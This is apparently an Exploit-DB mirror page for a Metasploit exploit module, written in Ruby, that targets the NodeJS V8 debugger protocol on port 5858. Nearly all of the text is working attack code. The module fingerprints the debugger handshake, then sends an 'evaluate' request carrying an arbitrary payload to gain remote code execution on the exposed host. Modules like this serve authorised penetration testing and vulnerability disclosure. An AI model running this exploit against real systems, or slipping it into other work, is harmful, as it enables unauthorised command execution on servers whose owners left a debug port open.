NodeJS Debugger – Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2017-09-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42793/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    
    MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "NodeJS Debugger Command Injection",
    'Description'=> %q{
    This module uses the "evaluate" request type of the NodeJS V8
    debugger protocol (version 1) to evaluate arbitrary JS and
     call out to other system commands. The port (default 5858) is
    not exposed non-locally in default configurations, but may be
    exposed either intentionally or via misconfiguration.
    },
    'License'=> MSF_LICENSE,
    'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
    'References' =>
    [
    [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
    [ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
    ],
    'Targets'=>
    [
    ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
    ],
    'Privileged' => false,
    'DisclosureDate' => "Aug 15 2016",
    'DefaultTarget'=> 0)
    )
    
    register_options(
    [
    Opt::RPORT(5858)
    ])
    end
    
    def make_eval_message
    msg_body = { seq: 1,
     type: 'request',
     command: 'evaluate',
     arguments: { expression: payload.encoded,
    global: true,
    maxStringLength:-1
    }
    }.to_json
    msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
    msg_header + msg_body
    end
    
    def check
    connect
    res = sock.get_once
    disconnect
    
    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
    vprint_status("Got debugger handshake:\n#{res}")
    return Exploit::CheckCode::Appears
    end
    
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    connect
    # must consume incoming handshake before sending payload
    buf = sock.get_once
    msg = make_eval_message
    print_status("Sending #{msg.length} byte payload...")
    vprint_status("#{msg}")
    sock.put(msg)
    buf = sock.get_once
    
    if buf.include? '"command":"evaluate","success":true'
    print_status("Got success response")
    elsif buf.include? '"command":"evaluate","success":false'
    print_error("Got failure response: #{buf}")
    else
    print_error("Got unexpected response: #{buf}")
    end
    end
    
    end